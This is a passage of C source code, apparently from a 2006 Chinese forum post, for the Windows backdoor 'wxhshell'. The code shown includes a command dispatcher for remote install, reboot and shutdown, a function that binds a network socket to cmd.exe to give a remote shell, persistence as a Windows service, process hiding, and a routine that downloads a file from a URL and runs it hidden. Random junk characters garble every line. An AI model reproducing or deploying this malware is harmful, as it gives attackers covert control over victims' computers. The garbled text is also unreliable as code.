    switch(cmd[0]) { lHZU iB  
  2y%,p{="  
  // 帮助 cT\I[9! )  
  case '?': { eh[_~>w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :{q"G#  
    break; O+RP3ox"  
  } ~y$ !48o  
  // 安装 r",]Voibd  
  case 'i': { ?EX"k+G  
    if(Install()) kPjd_8z2n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Gcy> Av  
    else `HuCT6O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %okzOKKX  
    break; CU7F5@+  
    } ?b!Fa  
  // 卸载 $v8l0JA *  
  case 'r': { {s3z"OV  
    if(Uninstall()) r 6eb}z!i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~r{5`;c  
    else wZh:F !  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .qA{xbu  
    break; t!K*pM  
    } Kq.:G%  
  // 显示 wxhshell 所在路径 J1XL<7  
  case 'p': { 5b/ojr7  
    char svExeFile[MAX_PATH]; H[b}kZW:a  
    strcpy(svExeFile,"\n\r"); _hG;.=sr  
      strcat(svExeFile,ExeFile); >]=j'+]  
        send(wsh,svExeFile,strlen(svExeFile),0); 8z5# ]u;  
    break; p*5\+WO>!(  
    } ]B=C|usJ  
  // 重启 umLb+GbI4  
  case 'b': { ",>H(wJ8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *4|Hqa  
    if(Boot(REBOOT)) tvd0R$5}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1b9hE9a{j  
    else { TEsnNi 1  
    closesocket(wsh); gh6d&ucQ^  
    ExitThread(0); a,7 &"  
    } abxDB  
    break; q8ImrC.'^  
    } -=698h*  
  // 关机 h.K(P+h  
  case 'd': { w{ `|N$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _7a'r</@  
    if(Boot(SHUTDOWN)) A-CUv[pM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6D;^uM2N  
    else { fE,9zUo  
    closesocket(wsh); F^!mI7Z|(2  
    ExitThread(0); KjB/.4lLq  
    } UK*qKj. )  
    break; Tp<k<uKD  
    } %f8Qa"j  
  // 获取shell 5jq=_mHt  
  case 's': { &@3m -Z  
    CmdShell(wsh); N_75-S7Cm  
    closesocket(wsh); j[6Raf/(n  
    ExitThread(0); {F|48P;J  
    break; + E"[  
  } uHNpfKnZ  
  // 退出 4 c'4*`I  
  case 'x': { 3kmeD".  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AY_Q""v  
    CloseIt(wsh); w?csV8ot  
    break; 59Sw+iZj  
    } M,:Bl}  
  // 离开 oQ+61!5>  
  case 'q': { cy~oPj]j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lu UYo  
    closesocket(wsh); 0_eQlatb  
    WSACleanup(); #p yim_  
    exit(1); >CgO<\  
    break; klWYuStZ  
        } TF+ l5fv  
  } BQ05`nkF  
  } $M"0BZQ?y!  
Tvf~P w  
  // 提示信息 "PpjoM ~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ST8!i`Q$  
} 2pyt&'NJua  
  } \Rk$t7ZH  
#\If]w*j  
  return; s ?l%L!  
} HW7FP]NH  
>R,?hWT  
// shell模块句柄 sM\&. <B  
int CmdShell(SOCKET sock) Na!za'qk[o  
{ [^PCm Z6n  
STARTUPINFO si; 4?]oV%aP)  
ZeroMemory(&si,sizeof(si)); +AQDD4bu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tGqCt9;<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H)JS0 G0  
PROCESS_INFORMATION ProcessInfo; fB#XhO  
char cmdline[]="cmd"; -a) T6:e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "zV']A>4H  
  return 0; ~-Oa8ww  
} J^H =i)A  
+ Oobb-v  
// 自身启动模式 RLKj u;u  
int StartFromService(void) `B#Z;R  
{ IbdM9qo7  
typedef struct s j9D  
{ g_D-(J`IK,  
  DWORD ExitStatus; 2Ug.:![  
  DWORD PebBaseAddress; ?ei%RWo  
  DWORD AffinityMask; dm^H5D/A  
  DWORD BasePriority; Lk(S2$)*  
  ULONG UniqueProcessId; -l.pA(O  
  ULONG InheritedFromUniqueProcessId; {$TZ}z"DA  
}   PROCESS_BASIC_INFORMATION; .Dv=p B,u  
>C2HC6O3  
PROCNTQSIP NtQueryInformationProcess; )W9_qmYd"  
1~qm+nET\  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ul}'{|4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *h,3}\  
( Yi=v'd  
  HANDLE             hProcess; w#{l 4{X|  
  PROCESS_BASIC_INFORMATION pbi; G\mKCaI8  
jyjQzt >\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )<LI%dQ:'l  
  if(NULL == hInst ) return 0; Nu. (viQ}  
u`p_.n:5)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Y!^I2Y6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |4xo4%BQ>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 97x%2.\:  
$n*%v85  
  if (!NtQueryInformationProcess) return 0; $eCGez<E  
X<K9L7/*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }*-u$=2  
  if(!hProcess) return 0; QE6El'S  
xK!DtRzsA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {*__B} ,N  
fv5C!> t  
  CloseHandle(hProcess); < %rh/r  
8}K"IW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %LcH>sV  
if(hProcess==NULL) return 0; KZ4zF  
w7ZG oh(  
HMODULE hMod; 3*2I$e!Jt  
char procName[255]; 5l&jPk!=  
unsigned long cbNeeded; B<C&ay  
THr8o V5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >@:667i,`  
n\* JaY  
  CloseHandle(hProcess); _]Ey Ea  
)DRkS,I  
if(strstr(procName,"services")) return 1; // 以服务启动 R%W@~o\p]  
,$PFI(Whk  
  return 0; // 注册表启动  9^p32G  
} !(yT7#?hP  
- &NQ\W  
// 主模块 qTS @D  
int StartWxhshell(LPSTR lpCmdLine) 4D GY6PS  
{ CX.SYr&!R  
  SOCKET wsl; v#Sj|47  
BOOL val=TRUE; ~r PYJ  
  int port=0; k~R{Y~W!!  
  struct sockaddr_in door; |""=)-5N  
'6+Edu~Ho)  
  if(wscfg.ws_autoins) Install(); 8T<@ @6`T  
{GK(fBE  
port=atoi(lpCmdLine); S$\.4*_H\  
_o&94&  
if(port<=0) port=wscfg.ws_port; 7|K3WuLL  
sK`< kbj  
  WSADATA data; "0b?+ 3_{G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :b <KX%g  
prwC>LE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w LpkUa  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y+5"uq<'  
  door.sin_family = AF_INET; HLM;EZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q g$($   
  door.sin_port = htons(port); qP&byEs"  
kq>GMUl~@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,%[LwmET  
closesocket(wsl); C`3V=BB  
return 1; u0s'6=  
} %v_IX2'  
n}0za#G  
  if(listen(wsl,2) == INVALID_SOCKET) { 3IGCl w(  
closesocket(wsl); A*a7\id!y  
return 1; % Oz$_Xe  
} Y~:}l9Qs  
  Wxhshell(wsl); I88Zrhw  
  WSACleanup(); 1B6C<cL:sU  
R!@|6=]iG  
return 0; sZ]'DH&_(  
RzpC1nd  
} MF&3e#mdB  
B*y;>q "{U  
// 以NT服务方式启动 cES;bwQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #fwzFS \XL  
{ -xw 98  
DWORD   status = 0; I$+%~4  
  DWORD   specificError = 0xfffffff; 6`_!?u7  
w~4 z@/^"p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; I<c@uXXV;!  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c/b%T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xy$vYDAFw  
  serviceStatus.dwWin32ExitCode     = 0; ri#,ec|J  
  serviceStatus.dwServiceSpecificExitCode = 0; %I_&Ehu  
  serviceStatus.dwCheckPoint       = 0; -T2~W!  
  serviceStatus.dwWaitHint       = 0; TP~( r  
xR *5q1j  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); = vY]G5y  
  if (hServiceStatusHandle==0) return; +Y^-e.UO  
4Y`! bT`  
status = GetLastError(); /z/hUa  
  if (status!=NO_ERROR) 9cVn>Fb  
{ [&1iF1)4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I%pCm||p  
    serviceStatus.dwCheckPoint       = 0; 2^cAK t6bC  
    serviceStatus.dwWaitHint       = 0; w/qQ(]n8  
    serviceStatus.dwWin32ExitCode     = status; DhY;pG,t  
    serviceStatus.dwServiceSpecificExitCode = specificError; g!p+rq_f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zA2UFax=  
    return; %|# P&`  
  } UVc>i9,0  
Tf9&,!>V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R"m.&%n  
  serviceStatus.dwCheckPoint       = 0; yonJd  
  serviceStatus.dwWaitHint       = 0; 3js)niT9u  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g@$0FY{Q  
} FI3sLA  
} 9MW! Ss  
// 处理NT服务事件,比如:启动、停止 \7|s$ XQ\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) NFdJb\  
{ +i:  E  
switch(fdwControl) `Mo~EHso.  
{ hp?ad  
case SERVICE_CONTROL_STOP: 1j oc<EI  
  serviceStatus.dwWin32ExitCode = 0; mJwv&E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /uy&2l  
  serviceStatus.dwCheckPoint   = 0; M3hy5 j(b  
  serviceStatus.dwWaitHint     = 0; PFImqojHd  
  { ODM>Z8@W/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o%kSR ]V|  
  } .a 'ETNY:>  
  return; k$9Gn9L%  
case SERVICE_CONTROL_PAUSE: XS}Zq4H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /V#MLPA  
  break; NTv#{7q  
case SERVICE_CONTROL_CONTINUE: D]t~S1ycG7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qg_>`Bv"a  
  break; 2jI4V;H8g  
case SERVICE_CONTROL_INTERROGATE: ,gAr|x7_  
  break; sW>P-  
}; 1G e)p4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Q SUCN_  
} Wh#_9);  
`~w%Jf  
// 标准应用程序主函数 *X-~TC0 [  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GQYtH#  
{ Q1N,^71  
ZaEBdBv  
// 获取操作系统版本 5n|MA  
OsIsNt=GetOsVer(); M]8eW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1A,4 Aw<  
e3HF"v]2!  
  // 从命令行安装 b&U5VA0=1  
  if(strpbrk(lpCmdLine,"iI")) Install(); [)b/uR  
|Oj,S|Z:  
  // 下载执行文件 N7j]yvE  
if(wscfg.ws_downexe) { -r6(=A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K'{wncumQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); D_,_.C~O  
} Tko CyD9  
%8z+R m,Ot  
if(!OsIsNt) { !0d9<SVC  
// 如果时win9x,隐藏进程并且设置为注册表启动 >mGGJvTx  
HideProc(); [nhLhl4S  
StartWxhshell(lpCmdLine); CwCo"%E8}  
} I?:+~q}lZr  
else nKZRq&~^E  
  if(StartFromService()) Is,*qrl :  
  // 以服务方式启动 S+e-b'++?  
  StartServiceCtrlDispatcher(DispatchTable); %n V@'3EI  
else a*$1la'Uf  
  // 普通方式启动 J^<j=a|D  
  StartWxhshell(lpCmdLine); ?tal/uC  
)Or:wFSMq  
return 0; ND99 g  
}
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只看该作者 1 发表于: 2006-10-10
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